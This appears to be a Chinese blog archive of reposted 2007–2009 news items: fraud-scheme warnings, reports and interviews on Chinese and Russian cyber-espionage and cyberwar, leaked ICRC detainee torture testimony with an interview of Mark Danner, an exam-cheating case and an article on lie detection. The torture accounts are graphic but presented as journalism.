　　犯罪嫌疑人以假名应徵房屋销售员後，将待售房屋之钥匙复制，於电脑网路及报纸刊登租屋广告，佯装房东与房客签约并索取签约金之诈骗案例。为遏止此类诈欺手法发生，造成民众财产生损失。

　　* 2007-09-18 15:52:07 补充

　　假藉大哥大公司寄送「债权让与通知书」诈骗

　　北县瑞芳一位周姓侦查佐，曾经接到一张台湾大哥大公司寄来的「债权让与通知书」，称积欠电话费 15779元，且台湾大哥大已将债权转让给一家「汇诚第一资产管理股份有限公司」进行催讨，希望他能於七日内将欠款缴清。否则将进行法律程序诉追。但周姓侦查佐本身未申请台湾大哥大公司电话，因而警觉这是诈骗集团所设的骗局。

　　* 2007-09-18 15:57:24 补充

　　上网援交，被骗上百万元

　　一名私人公司的李姓主管因上网在网站聊天室聊天时，突然有一自称「涵艺」女子进入聊天室与其聊天，该女子更因表达想交往并且援助交际，经过几十分钟後要到了李姓主管的电话後就离开了聊天室。该名女子骗李姓主管前往提款机前操作，骗说是要确认是否为军警人员

　　* 2007-09-18 15:57:39 补充

　　假冒台北市社会局诈骗民众财物

　　有台北市民众反应曾遭3名身分不详男子按电铃拜访，自称来自「台北市政府社会福利局」，为探访民隐，故前往协助台北市年满65岁以上者申请社会福利，并将於下次前来审查并确认後，发给渠父亲社会福利金（拨款至银行帐户内）。

　　* 2007-09-18 15:57:53 补充

　　发送卡奴救星信函，诱骗卡奴上钩

　　林先生曾接到一封署名赵先生发出的卡奴救星信函，内容为代办优惠贷款，林先生将该广告信函回传後，遂接获1名富邦银行北一区行员来电，称需汇款1万5000元支付帐务处理费，被害人不疑有他，遂前往银行办理临柜汇款。

　　* 2007-09-18 15:58:14 补充

　　荼叶宅配诈骗

　　诈骗手法挑选偏僻山区或独栋住宅，携带荼叶登门送货，谎称家人订购荼叶，并约定送货到家时当面付款，被骗人因无法向家人查证，或因相信送货人，随即交出5000元交付送货人。经被骗者向家人查证并未订货，且拆开包装内荼叶质地粗糙才发现被骗。

　　* 2007-09-18 15:59:01 补充

　　假徵信社诈骗

　　报纸刊登广告，引诱被害人上门委托捉奸，以装监视器（装在外遇对象家中）、找法师作法求符咒、向法官行贿等理由，多次向被害人索费，被害人无法负担费用时，即带往银行办贷款支付，提告诉即解散公司并成立新公司，让被害人求偿无门。

　　* 2007-09-18 15:59:07 补充

　　假贷款真诈财

　　本身是卡奴的陈小姐因接到一通「○○理财公司」业务来电，误信对方可助其解决卡债问题，遭对方以「语音约定转帐」方式骗走 200万，在追讨被骗款时，歹徒再以「操作错误需重新办理」为由，再汇出3万，陷入贷款诈骗陷井的她，在求助无门的情况下，才又陷入贷款诈骗陷井，她呼吁自已是因为被卡债逼疯了才会落入诈骗陷井。

　　* 2007-09-18 15:59:30 补充

　　假换钞真诈财

　　嫌犯在进入超商时，一面接听�话，一面怒骂对方，先让年轻工读生产生紧张、恐惧感，再要求超商工读生先行将收银机内小钞确认後携回，并谎称能以所乘机车抵押为由，藉以取信被害人，并企图松懈被害人心防，於行骗得逞後，然後骑乘车辆扬长逃逸。

　　* 2007-09-18 16:00:57 补充

　　建议箴言：『天底下没有白吃的午餐』！！！

加拿大研究声称中国黑客操控网络间谍

2009-03-30T18:34:00.001-07:00

　　加拿大研究人员日前声称，位于中国的一个巨大的电子间谍网络侵入103个国家的政府和私人电脑系统，试图盗走敏感资料。加拿大研究人员亦表示，没有证据显示中国政府参与了这些网络黑客活动。

　　据英国广播公司（BBC）报道，加拿大多伦多大学电脑间谍甄别专家发现，在不到两年的时间里，这个电子间谍网络已通过间谍软件侵入100多个国家的1300台电脑。多伦多大学的信息战监督研究项目对据称是来自中国的网络间谍活动进行了长达10个月的跟踪研究。

　　研究人员说，中国网络黑客侵入的电脑主要集中在达赖喇嘛办公室和亚洲国家政府的电脑。这个研究课题组称，有证据显示来自中国的黑客在被控制的电脑上安装了一种间谍软件，盗取敏感资料。这个课题组的研究是在达赖喇嘛指称他的办公室电脑曾遭中国网络黑客侵入后开始的。这个研究小组称，位于中国的网络黑客曾设法侵入过印度、巴基斯坦、德国、印尼、泰国、韩国和其它一些国家大使馆的电脑。

　　研究小组称，来自中国的网络黑客曾侵入包括不丹、孟加拉国、拉脱维亚、印尼、伊朗、菲律宾等国的1295台电脑系统。据称，这些黑客在侵入电脑系统后安装间谍软件，试图获取电脑内的敏感资料。

　　来源：星岛环球网

“美国的顶级对手是俄罗斯和中国”――专访美国网络安全报告起草人James A. Lewis

2009-03-29T21:54:00.001-07:00

　　From: http://www.infzm.com/content/24060

美国智库战略与国际研究中心高级研究员James A. Lewis，去年12月底主持完成了一份"美国网络安全"的报告，提供新上任的奥巴马政府作为决策参考。

　　这份题为《在第44届总统任内确保网络安全》的96页报告，其中分析了世界主要国家的"网络战"攻防能力，结论之一，是美国、俄罗斯、中国占据了世界网络战力的三甲席位。Lewis分析，"俄罗斯的威胁在于数十年的经验，而中国则是因为它巨大的人力资源"。"作为美国的总统，必须了解来自网络的威胁，必须知道，如何应对。"报告中写道。

　　六至七国网络战力突出

　　南方周末：报告虽然没有涉及具体某个国家的名字，但媒体报道大量涉及中国和俄罗斯的网络攻击。你如何评估这两国的网络战能力？

　　Lewis：首先要说，"网络攻击"并不准确，网络冲突并不导致像传统冲突和恐怖主义那样的物理性破坏，其巨大的利益在于经济间谍、军事间谍和科技间谍行为中的信息收集。

　　据我所知，在网络空间，美国面临的顶级对手是俄罗斯和中国。俄罗斯的威胁在于数十年的经验，而中国则是因为它巨大的人力资源。

　　南方周末：所以你认为美国、俄罗斯和中国是网络战能力最强的国家。

　　Lewis：还有其他一些国家。英国、以色列、法国都很好。印度似乎不像其他这些国家这么活跃。很明显的是，这六七个国家在这场游戏中处于顶端。

　　南方周末：有人认为，美国在网络空间远远比其他国家强大？

　　Lewis：哦，我知道事实并非如此。坦诚地说，中国和俄罗斯跟我们一样好。还有法国和以色列，也许还有一两个国家，几乎跟我们一样好。这六七个国家的差距不大。

　　南方周末：从公开信息可知，俄罗斯、法国、日本和台湾等国家和地区已经有了正式的"网络部队"。你如何评估它们的网络战能力？

　　Lewis：台湾是比较活跃，它很成功，但它是一个小地方，我并不认为它有多大的能力。当然，有时你很难追踪，因为一些行为可能并非政府所为，可以来自某些私人的公司，更复杂的是，这些行为可能得到政府的支持。

　　中国或能让全美断电一周

　　南方周末：在俄格冲突期间，格鲁吉亚政府网站瘫痪，包括总统的网页被更改，一些银行的网页也受到入侵。但情况也仅限于此，并不那么严重。是不是说，网络战更多的是一种心理作用？

　　Lewis：是的。它在告诉政府和个人，你读你的电脑时，你不知道还有谁也在读它。这将使你紧张。当然，一个国家对电脑和网络的依赖程度越高，它就在网络战中越脆弱。在这个意义上，网络战时，美国可能是全世界最脆弱的国家。

　　南方周末：你能想象如果现在中美开打网络战，会是怎样的场景吗？

　　Lewis：我想象过很多次。

　　首先，两国都不想发生一场战争，即使是网络战。中国也许有能力入侵美国的电力系统，将全美的电力中断一周左右。这很糟糕，结果一定是一片混乱。因为一旦被美国发现，美国的反应未必是网络战，还有可能是更大规模的冲突。

　　我告诉过美国军方领导，如果一旦发现中国大规模的网络袭击，比如对美国电力系统的袭击，那一定是他们在计划军事袭击了。除此之外，我很难想象两国为什么会冒险发动一场网络战。

　　网络战堪比大规模杀伤性武器

　　南方周末：按照这份96页的报告描述，美国在网络战中将会非常脆弱。人们认为你可能对网络战的风险有些夸大其辞。

　　Lewis：我也听到有人说，放任网络恐怖主义，将把美国变成第三世界国家。我们仍然认为，网络安全主要是情报部门的问题，是信息安全的问题。但在这个角度上，美国正在受到损害。

　　南方周末：在美国的国家安全战略中，网络安全排在第几位？

　　Lewis：应该是前3名，至少是前5名。不单单是我在这么说，很多高层的领导都这么描述网络安全。

　　南方周末：你认为网络是与大规模杀伤性武器，甚至核武器，可以等量齐观的威胁吗？

　　Lewis：是的。大规模杀伤性武器很危险，我们曾经非常担忧，但它从未发生过；但网络攻击每天都在发生，这是更加现实的威胁。

第一次网络世界大战会否打响？

2009-03-29T21:51:00.000-07:00

　　From: http://www.infzm.com/content/24078

"■网络战已经远超"把XX官方网站黑掉"的层次，而发展为通过互联网摧毁敌国电力、金融、通讯、作战指挥等关键系统的战争力量。 "

　　"■美国、日本、法国、德国、印度等国家都已建立成编制的网络战部队。 "

　　"■俄格冲突是世界上第一次大规模的网络战争。"

　　"■第一次网络世界大战何时打响？中国网络战力有多强？。"

　　美国，华盛顿特区。交通信号灯完全失灵，隧道中的汽车对开相撞，股市崩溃，通讯全部中断，所有的电视台播放着同一个画面――历任总统电视讲话的词汇片段被剪切在一起，拼凑成一篇恐怖的"黑客宣言"。

　　这是电影《虎胆龙威4》里面的场景，几个黑客，就把美国折腾得天翻地覆。那么，在现实中，这样的事可能发生吗？信息安全专家和网络工程内部人士告诉南方周末记者，从理论和技术层面上，完全可能。

　　事实上，网络空间里的战争，已经远远超出"把××官方网站黑掉"的层次，而发展为通过互联网摧毁敌国电力、金融、作战指挥等关键系统的战争力量。早在2007年，美国就成立了成建制的网络战部队，而俄罗斯，更对格鲁吉亚发动了世界上第一次大规模的网络战争。

　　每一次敲击键盘，就等于枪击一发子弹；每一块CPU，就是一架战略轰炸机。据俄新社报道，美国国防部近日出台的一份报告称，世界网络大战已打响，美国成为其它国家主要打击目标，这"其他国家"就包括俄罗斯和中国。

　　俄格冲突：第一场网络战

　　实际上，去年8月的俄格冲突中，尽管俄罗斯否认采取了任何网络行动，但网络攻势与传统军事行动的结合，无疑对格鲁吉亚造成了更为沉重的打击，也使各国对网络战的重视程度达到了前所未有的新高度。

　　早在冲突开始前，2008年7月20日，一组诡异的信息数据流向了格鲁吉亚政府网站，其携带的信息为"win+love+in+Rusia"。伴随而来的，是短时间内以百万计的访问请求汹涌而来，使得格鲁吉亚政府网站瞬间瘫痪。

　　专家们立即指出，这是典型的"分布式拒绝服务"（DDoS）攻击。在黑客攻击中，这是最为普遍而有效的手段之一。格鲁吉亚总统萨卡什维利的网页被多重DDoS攻击而瘫痪长达24小时。

　　然而，相比8月8日俄罗斯对格鲁吉亚的大规模网络攻击，7月的这次网络冲突只能算是一次"带妆彩排"。

　　随着俄军进入南奥塞梯，格鲁吉亚的网络再次受到大规模攻击。交通、通讯、媒体和银行的网站纷纷遇袭中招，政府网站系统更是全面瘫痪。甚至，在国家银行的网页上，格鲁吉亚总统萨卡什维利的照片被和希特勒等20世纪独裁者的照片挂在一起。

　　格鲁吉亚几乎无法向外界有效发声，无奈之下，格鲁吉亚的外交部新闻只好发布在Google下的一个公共博客页面上；此外，萨卡什维利还无奈向波兰总统卡钦斯基求助，将新闻也发布在卡钦斯基的网页上。

　　中国现代国际关系研究院信息与社会发展研究室副主任唐岚对南方周末记者指出，尽管格鲁吉亚遭遇的网络战，更多的是一种心理上的恐吓和威慑，但它是全球第一场与传统军事行动同步的网络攻击，具有独特的意义。

　　美国：从"网络战士"到"网军"

　　2月9日，奥巴马要求对美国的网络安全状况展开为期60天的全面评估。从去年年末起，美中经济与安全审查委员会、华府着名智库战略与国际研究中心以及美国国防部，都陆续推出了关于应对网络战、强化信息安全的研究报告。

　　中国现代国际关系研究院安全与战略研究所副所长张力告诉南方周末记者，美国对互联网的控制程度已经远远超出了普通人的想象，"虚拟世界给我们的生活带来的冲击是'一个世界'的冲击，而不只是一个领域、一个部门……但这个世界里，从虚拟的领土，到各种技术手段基本上都是被美国牢牢地控制住的"。

　　尽管美方的网络安全报告一再强调俄罗斯黑客的强大和中国信息产业的高速发展，但当英特尔、微软、思科等网络巨头频频以跨国公司的面目出现时，人们几乎忘记了它们身上的美国烙印。

　　张力指出，美国信息安全系统"官民结合"的发展方式，使得一旦网络战爆发，美国政府将随时可以调用强大到可怕的IT巨头力量。

　　美国甚至已经提出"网络威慑"的概念，独家垄断"信息霸权"的格局已经形成。

　　1995年，美军就有16名"第一代网络战士"从美国国防大学信息资源管理学院诞生，他们肩负的使命，正是在网络空间与敌人展开全面信息对抗。

　　2002年，布什政府抽调中央情报局、国家安全局和联邦调查局等核心机构，甚至盟国的顶级电脑天才，秘密组建了世界上第一支网络黑客部队――网络战联合功能构成司令部（简称JFCCNW）。

　　2007年，JFCCNW正式进入美军作战序列，"网军"正式作为独立兵种应运而生。与此同时，"海军计算机应急反应分队"，空军负责网络进攻的"第8航空队"等部队也全面组建，几乎所有的兵种都已经配备网络作战部门。

　　另外，以预防"电子911"和"数字珍珠港"为名，在2006年和2008年，美国更是先后组织了"网络风暴I"和"网络风暴II"的网络战演习，模拟他国、恐怖组织和黑客发动网络攻击。演习中，全民皆兵。18个联邦机构协同作战，更是有思科和微软等40余家大牌科技企业参与。当然，出于安全保密需要，它们使用代号参与演习。其紧张程度，让参与者"连喝水的时间都没有"，几乎成为现实版的"反恐24小时"。

　　事实上，美国新任总统奥巴马已经将网络战威胁等同于核武器和生物武器对美国的威胁。2010年，美国将联合15国，展开规模空前的"网络风暴III"演习。

　　网络暗战：美俄中角力？

　　据本报记者了解，日本、法国、德国、印度等国家，甚至台湾地区，都已经把网络战的部队建制化、编制化。可以说，网络战的备战还是一场"隐蔽的斗争"。

　　张力尤其指出，俄罗斯在网络安全意识方面的理念不亚于美国，非常超前。早在上世纪90年代，俄罗斯建立联邦国家安全会议时，就设立了信息安全委员会，已将其与经济安全等置于同等重要的位置。

　　此外，俄罗斯优秀的数学基础教育和克格勃强大的情报工作班底，使得俄罗斯黑客早已蜚声全球。

　　尽管如此，中国国内的信息安全专家和互联网业内人士却一致认为，全球范围内，还没有国家能单独与美国在网络战领域抗衡，包括被美国当作对手的中国和俄罗斯。"俄罗斯强大的黑客力量也只能是散兵游勇，可以组织小规模的网络攻防战，但也无力与美国的网络力量大规模对抗；而中国的网络战优势更多的在于人多、电脑多，在更高技术含量的网络对抗中不占优势。"一位要求匿名的高校教师告诉南方周末。

　　究其原因，则在于美国对互联网产业的核心技术、产品和网络协议的垄断。IT巨头在产品中留有"后门"、收集用户信息等问题一直是人们争议的焦点。去年10月，"微软黑屏"事件让人们看到，如果需要，商业公司也完全做得更多――收集资料信息，强制执行其他指令，甚至破坏计算机和服务器的硬件。

　　美国着名智库兰德公司已经提出"战略战"概念，即战争的顶级模式，其后果决定了一个国家的生死存亡。"工业时代的'战略战'是核战争，而信息时代的'战略战'就是网络战。"张力说。

美国中情局刑讯逼供14名“高价值囚犯”

2009-03-29T21:45:00.001-07:00

　 From:南方周末

以下楷体字部分，编译自《拷问美国：来自黑址的声音》，作者马克・丹纳，发表于The New York Review,2009年4月号。部分文字可能引起读者不快，请谨慎阅读。

　　"永无尽头的孤独（关押、单独禁闭、禁止一切和外界的联系）"，这是美国中央情报局针对恐怖攻击嫌犯的"拘留计划"的"要素"之一。

　　红十字国际委员会关于美军关塔那摩监狱对嫌犯"刑讯逼供"情况的秘密报告，披露了以上内容。

　　该份秘密报告的目录部分罗列了对嫌犯的刑讯逼供方式，包括：

　　将头强按入水中，令囚犯窒息；保持负重状态长时间站立；抓住衣领猛打；踢打；禁闭在小盒子里；长时间赤裸；干扰睡眠，大声播放音乐；在寒冷天气向裸体囚犯身上倒冷水；要求囚犯长时间戴手铐和脚镣；恐吓；禁止囚犯进食。

　　该报告的结论是：美国中央情报局管理下的拘留中心，存在刑讯逼供行为。并且，这些行为是残忍的、非人道的、有辱人格的。

　　从2006年10月到12月期间，红十字国际委员会成员们秘密单独采访这14名"高价值囚犯"，其中不少犯人在匿名的前提下，描述了发生在监狱里的故事。

　　"看，他好像身体都变蓝色了"

　　我被转移到了一张椅子上，手脚都被固定，就那样的状态坐了大半个月。长时间的坐姿导致我腿部长满了水疱。那段时间，只有上厕所的时候我才被允许离开椅子站起来……

　　我的牢房很冷，非常冷。刺耳的音乐不断地响起，每15分钟响一次，一天24小时都如此。有时候音乐停了，结果是换上更吵的音乐。我每天都要接受1－2小时的问话，只有这个时候音乐是停止的，问话结束又接着开始播放。我无法入睡，即便我勉强睡着，守卫就会冲进来拿水往我脸上泼……

　　我被锁住并且全身赤裸，仅被允许在地板上躺一小会。后来有一名女医生来给我检查身体，并问我为什么没穿衣服。第二天，看守给了我一件衣服穿。然而，一天之后，看守走进我的牢房，要求我站起来并且将双手高举过头，然后将我身上的衣服扯烂。空调被调到很低温，我听到一个看守这样说，"看，他好像身体都变蓝色了。"……

　　两只盒子

　　我被带到牢房外，其中一个看守用一条毛巾绑住我的脖子，他们牵着毛巾，使劲地将我朝墙上甩去，其间他们还不断地打了我好几耳光。然后他们就把我关到一只高盒子里，里面很黑，我呆了大概两个小时。他们甚至用碎布将门缝塞住，导致我呼吸困难。

　　等到我从盒子里被放出来，我发现牢房的墙上铺满了纸板。然后我不断地被甩到墙上。我估计那些纸板是为了防止我身体上留下明显的外伤痕迹。

　　之后我被关进另一只更小的盒子。同样门缝塞满了碎布，盒子里黑暗且缺氧。盒子太矮了，我根本无法站直，想曲着腿也不行，因为身上都是伤口。我勉强地蜷缩着，腿上和肚子上的伤口疼痛难忍，伤口又开始流血了。我不知道过了多久，我已经没有知觉了。

　　我的头好像就要爆了，无法呼吸，我猜自己是不是就要快死了，小便也失禁了。

　　之后我又被关入那只大盒子里，他们开始播放嘈杂的音乐，同时还有人不断地敲打着盒子。我尝试坐下，尿液不断地顺着我的大腿滴下……

　　晚上牢房也开着刺眼的灯，却终日不见太阳

　　事实上，这份秘密报告，还涉及美国中央情报局设在其他地区的监狱。下面这位就被关押在阿富汗的美军监狱里。

　　问话的时候，我2个多小时都被要求保持踮起脚的状态。房间内大约有 13个人，有首席问讯员、两名副问讯员（女性），还有十来个带着面罩的大个子。我赤裸着身体面对那么多人。在问讯期间他们给我水喝，我拒绝了。结果三个大汉将我压倒在地，并将一支管状物体插入我的肛门内，往里注水。我要求上厕所，但是我没有得到允许。

　　只要我一回到牢房，我就必须保持站立的姿势，手脚都戴着锁链。有时候他们会拿着消防水管对我喷。有一天我被喷了接近一个小时，我的头撞向墙后流血了，紧接着他们又拿冷水泼我，然后换了一个看守又重新来一次――挨打、泼水。起先一个月，我不能洗澡，不能吃固体食物，只能喝水。如果我拒绝喝水，他们就会强制给我灌水。整整一个月我都是赤裸的，晚上牢房也开着刺眼的灯，却终日不见太阳。

“这个国家需要彻底的调查”――专访加州大学伯克利分校新闻学教授马克・丹纳

2009-03-29T21:41:00.000-07:00

　　From:南方周末

"编者按： ""美军关塔那摩监狱关押了240名恐怖主义组织嫌疑犯，也因为"虐囚"、"刑讯逼供"丑闻而恶名昭着。"

　　" 2007年，红十字国际委员会探访关塔那摩，并做了关于该监狱"刑讯逼供"问题的绝密报告提交美国布什政府。该报告全世界仅5份副本，美国教授马克・丹纳却得到了其中一份，并于上周将其曝光。报告的内容，远远超过了想象。本报专访马克・丹纳，并摘编报告内容，供读者参考。"

　　过去一周，马克・丹纳在美国受到的关注，甚至不输奥巴马。

　　令这位美国加州大学伯克利分校新闻学教授、刑讯逼供研究者出名的，是他写的题为《拷问美国：来自黑址的声音》的文章。"黑址"这个词，特指美国中央情报局设在世界各地的关押了恐怖主义嫌犯的监狱，它们因屡曝"虐囚"丑闻而广受关注。2006年10月至12月，红十字国际委员会（以下简称ICRC）的官员先后两次秘密访问了关塔那摩监狱，并在2007年完成一份关于该监狱"刑讯逼供问题"的秘密报告，提交布什政府。

　　该秘密报告一共只有5份副本，马克・丹纳教授却通过某种途径，得到了其中1份。继而他写了上述文章，大量引用秘密报告的内容，才使其中触目惊心的"黑幕"广为人知。

3月20日，丹纳接受本报专访。"人们以为时间会洗刷我们这个沉沦的世界。"丹纳说，"但实际并不会。"

　　"很多人指责我损害了国家的利益"

　　南方周末：你是如何得到ICRC这份绝密报告的？

　　丹纳：我最近从一个团体那里拿到了这份报告。我不能告诉你他们是谁，也无法猜测他们的动机。不过，报告的披露会有助于关闭关塔那摩监狱，因为那些刑讯手段太令人震惊了。

　　南方周末：这份报告可信吗？

　　丹纳：其一，国际法授权ICRC来监督战俘待遇,专业人员做了这方面的工作。第二，14名关塔那摩囚犯在各自的陈述里，不约而同的提到了相似的刑罚，而他们互相之间没有联系，因此他们的陈述是可信的。

　　南方周末：你有没有衡量过，公开报告可能会带来的影响？

　　丹纳：ICRC与美国政府有协议，他们获得机会采访这些嫌犯的前提，是不对外公开调查报告。因此，将这份秘密报告公开，未来ICRC有可能因此不能再获得探访囚犯的机会。

　　但我最终的判断是：公开报告，使美国人民知道发生了什么，这带来的好处，会大大超过坏处。

　　南方周末：报告公开后，ICRC有没有联系过你？

　　丹纳：他们的确联系我了，想知道我从哪里得到这份报告。但我无法与他们讨论这个问题。

　　南方周末：读者都有什么反应？

　　丹纳：我收到了很多读者的来信，新闻网页也有不少留言。很多人很愤怒，指责我发表这样的文章究竟想得到什么，指责我损害了国家的利益。对这些，我并不惊讶，这些来信说明认可刑讯逼供恐怖嫌犯的人还不少。

但让我高兴的是，与过去相比，有更多的人对我的文章表示了赞赏，这是非常好的一个倾向。

　　"刑讯逼供伤害了这个国家"

　　南方周末：前总统布什曾反复提到，在审讯恐怖嫌疑犯时使用了"另一套程序"。听起来这似乎只是正常的审讯？

　　丹纳：从国际法的规定看，有目的的、带来严重的精神和肉体伤害的刑罚，特别是以获取信息为目的的刑罚被称做"刑讯逼供"。毫无疑问，关塔那摩监狱存在刑讯逼供的情况。ICRC的报告也使用了这个字眼，来描述发生在关塔那摩的一切。

　　我必须说，布什总统说了谎。

　　南方周末：在关塔那摩的刑讯逼供中，美国政府究竟扮演了什么角色？

　　丹纳：如果你仔细阅读报告的话，你会发现审讯者要执行任何一项刑罚，都需要通过邮件和电报申请。美国前副总统切尼、前国家安全顾问赖斯以及前司法部长阿什克罗夫特等，或认可、或批准了在关塔那摩采取刑讯手段。

　　南方周末：为了保护美国的安全、保护美国人民，通过刑讯逼供以获得恐怖袭击的情报，是否就是正当的？

　　丹纳：这是争论的焦点。毫无疑问，刑讯是非法的，既违反了国际法，也违反美国法律。问题是，刑讯是否真的帮助获得了可以使美国免受恐怖攻击的情报？一方面，前总统布什公开声称，刑讯逼供使美国免受恐怖袭击；另一方面，另一些美国官员却不这么认为。

　　我们知道，刑讯逼供已经在某些方面伤害了这个国家，它损害了这个国家的名誉，但是我们不知道它是否带来了那些所谓的"积极作用"，如果说它是有利于保护美国人民安全的，那么我们需要一个值得信赖的人或组织来进行这些调查，具体告诉我们它在哪些方面有利于美国。

　　因此我认为，这个国家现在需要的是彻底的调查。

　　南方周末：奥巴马总统在就职典礼结束后仅仅几个小时，就签署了在一年内关闭关塔那摩监狱的行政命令，包括禁止刑讯逼供。但前副总统切尼就公开表示，这"将会提升美国人民再次遭受攻击的危险"。

　　丹纳：切尼当副总统时这么说，现在离任了还这么说，显然，他对"严酷审讯"的作用坚信不移。他在推动布什政府使用"严酷审讯"上扮演了重要角色。

　　南方周末：切尼的观点是否代表了相当一部分美国人的想法？

　　丹纳：如果你问美国人，美国政府该不该对恐怖嫌疑犯采取酷刑？有相当多的人会说：不。但如果加上前提，实行酷刑有助于保护这个国家免受恐怖袭击，这种情况下该不该实行酷刑？那么会有相当大一批人――也许超过50%――站起来表示支持。

问题的关键是：这个前提是否能站得住脚，酷刑是否真的有助于保护美国的安全。

　　关闭关塔那摩的重重阻力

　　南方周末：看起来要在一年内关闭关塔那摩监狱还面临重重难题。

　　丹纳：奥巴马将不得不面对一个严峻的现实。

　　比如，像Khaled Shaik Mohammed、Abu Zubaydah等被关押在关塔那摩的囚犯，有充足的证据表明他们参与了"9・11"恐怖袭击，但是因为刑讯逼供，将很难把他们带上法庭审判。你如何能够把他们从一个"遭受非法审讯的境地"转移到一个每个环节都讲"法律"的审判庭中去呢？

　　一些组织，像"美国公民自由联盟"，要求彻底调查刑讯逼供，并将牵涉其中的前高级官员送上法庭。参议院司法委员会主席Patrick Leahy则呼吁成立一个"真相与和解委员会"，如果前政府官员――比如切尼――出来作证的话，则不会遭到起诉。美国情报界正在调查谁批准了这些酷刑以及酷刑是否带来有价值的情报。与此同时，奥巴马也成立了专门小组来调查引渡、审讯和拘押恐怖嫌犯等政策问题。

　　南方周末：那么，奥巴马政府应该采取何种政策，才能够保护美国的安全？

　　丹纳：奥巴马在就职演讲上说，我们不能再在"我们的安全"和"我们的理想"中做出错误选择，我们可以获得安全，而无需刑讯逼供，无需使用非法的手段。现在看来他正在这样做。

全国计算机考试考生手机收到三套答案

2009-03-29T18:39:00.001-07:00

　　PS:这年头作弊也要与时俱进了！一台智能手机+移动飞信软件。

新闻来源:北青网

　　28日，考生陈红（化名）来到四川广播电视大学考点，参加今年第29次全国计算机等级考试。考前，她参加了一个计算机考试培训辅导班，工作人员曾表示，会通过短信给她发答案。果然，开考后不久，陈红就先后收到两套考试答案。陈红很快填写完试卷，并提前交卷。而在她交卷后，她居然又收到了第三套答案，据说这才是"正确答案"。

　　考生：我收到三套答案

　　陈红是某职业学校的在校学生，报考了全国计算机等级考试，考试项目是计算机二级C语言。为了保证考试能顺利过关，两个月前，她花了约300元，在"筹诚教育"报名参加了计算机培训班。

　　陈红说，27日下午，"筹诚教育"培训班的工作人员给陈红等学员说，只要在手机上加入一个飞信号码，次日上午笔试进行时，会将考题答案通过短信发到手机上。该工作人员还强调，考试时需将手机开至静音状态，不准用振动模式。

　　28 日上午，陈红来到考场参加考试。她说，她在考前先收到了一个自称"唐新"的人发来的答案短信，但她发现，这些答案完全不对。约在9时30分，正在考试的她又收到第二套"短信答案"，她随即根据这些答案填写了试卷，然后提前交卷出场。但到了10时22分，已出考场的陈红居然又收到了第三套答案。经比对，陈红发现，第一套答案完全错误，第二次答案对错参半，第三套的答案几乎完全正确！

　　发送答案者：这几套答案有区别

　　28日下午，记者拨打了发来答案短信的"唐新"的手机，但对方一直处于关机状态。陈红说，这个"唐新"好像也是一名学生，据称是"负责交大片区"。

　　记者在网上查询得知，"筹诚教育"是一家全国连锁培训机构，记者以学员身份拨打了其成都办事处的办公电话，电话转接到了一位工作人员的手机上。记者假称在抄了第一套答案后就关了手机，结果出了考场才发现答案不对。该工作人员表示："你自己应该注意到这些哦！因为考前和考中有很大（区别）的，有时考前（答案）准确的话，我们考中就不会再发了；但如果考前答案不准的话，考中我们就还要发。"

　　考点：将对此事展开调查

　　据四川电大考点监考负责人谢立主任称，按照考场规定，考生进场前必须关闭手机，考试进行时也不能打开。监考老师当时虽然未发现有人作弊，但考场方会对此事进行调查。据介绍，此次计算机等级考试属四川省自考办管理。

　　28日晚近7时，记者拨打了省自考办的电话，但由于时值周末，电话无人接听。究竟是谁通过飞信发出的"答案短信"？谜底仍有待解开。

《Lie to me》:别对我撒谎

2009-03-29T04:44:00.001-07:00

PS:感兴趣的应该购买《别对我说谎》，国内书店有售。

from 科学松鼠会

　　原文载于《南方人物周刊》

　　最近风靡全球的剧集《千谎百计》（《Lie to me》）讲述了一个神奇的故事：测谎专家卡尔・莱特曼（Cal Leightman）是善于辨别谎言的高手：眉间的一皱或是嘴唇一瘪，在他眼中都是对方内心活动的流露。他比测谎仪更精确，任何人任何事在他面前都无法隐瞒……莱特曼的原形，保罗・艾克曼（Paul Ekman）在加利福尼亚医学院研究人类的欺骗行为已逾40年。他每年都要向数以百计的机场警卫系统，反恐机构，外交官员和来自中央情报局、联邦调查局的人员传授"辨谎"的策略。在现实生活中，艾克曼和他的同事们正穿梭在人群之中，甄辨那些真实或虚伪的面孔。

　　测谎仪是靠不住的

　　《千谎百计》里面，莱特曼的杀手锏是使用镇定剂，让谎言在测谎仪眼皮底下通过。测谎仪的确越来越被发现是靠不住的。最近，德克萨斯州基督教大学的查尔斯・邦德（Charles Bod）和加州大学圣巴巴拉分校的贝拉・德保罗（Bella DePaulo）完成了一项对253个测谎仪案例的元分析，结果这数百个样本的平均准确率仅有53%――和胡乱猜测的概率差不多。

　　测谎仪的失宠是意料当中的事情。传统的测谎仪（Polygraph test）基于人体的生理反应进行测量，但撒谎并不存在可证实的独特的生理反应。这样，用其他手段改变生理状况，就很容易像莱特曼一样躲过测谎仪的检验。因此，美国国家研究理事会（National Research Council ，NRC)已经提请撤销测谎仪在国防事务中的使用，这项议案的的负责人正是艾克曼。这也不是第一次对测谎仪的质疑了，早在10年前，美国最高法院已经判定军事法庭不再接收由测谎仪提供的证据，需要出示更具有科学检测效力的测试结果。

　　你的表情出卖了你的心

　　摒弃了测谎仪，人们将目光投向更为实证的表情分析技术。弗吉尼亚大学的博士生温迪・莫里斯（Wendy Morris）和德保罗博士对法庭欺骗行为诊断的研究为我们提供了谎言的蛛丝马迹：当人们扯谎时，瞳孔通常放大，预示着紧张和高度集中的注意。此外，说谎者会因为紧张而提高说话的声调，并紧闭双唇。不过出乎大多数人的意料之外，说谎者不会表现出惴惴不安的样子，也没有眨眼或坐立不安的姿态。只有在巨大赌注的驱动下，他们才会不敢正视他人的的注视，以免暴露了自己的内心。

　　还记得《千谎百计》里最酷的微表情训练？艾克曼最傲人的成果就是他1978年发布的面孔动作编码系统（Facial Action Coding System，FACS），其中综合了声音和语言测量。小于1/5秒时间内出现的"微表情（micro-expression）"被看作是人们无意中泄露的表情讯号，特别是平时难以察觉的愤怒和羞愧，都可以通过"微表情"检测捕捉到。不过"微表情"并非总意味着谎言，有时无辜的人也可能表现出负罪的表情。这套系统对表情的捕捉准确率已达到90%，并且还在进一步的完善中。

　　谎言的语言侦测器

　　《千谎百计》中，言语也常成为说谎者的罪证。德保罗和莫里斯认为的确如此：说谎者通常需要更多的时间来回答问题；不过当计划的时间充裕时，他们的回答也会迅速很多。此外，说谎者的言谈中包含了更多的负性信息，例如紧张和抱怨，态度也更加缺乏合作的诚意。谈话的内容也是出卖说谎者的理由。德保罗和莫里斯认为，说谎者会尽量减少细节的描述，出于愧疚之外，也是想编造一个更完美的故事。不过他们的故事往往充满难以自圆其说，结构散乱。他们也不像其他人一样使用手势来进行表达，并喜欢使用重复的言语。

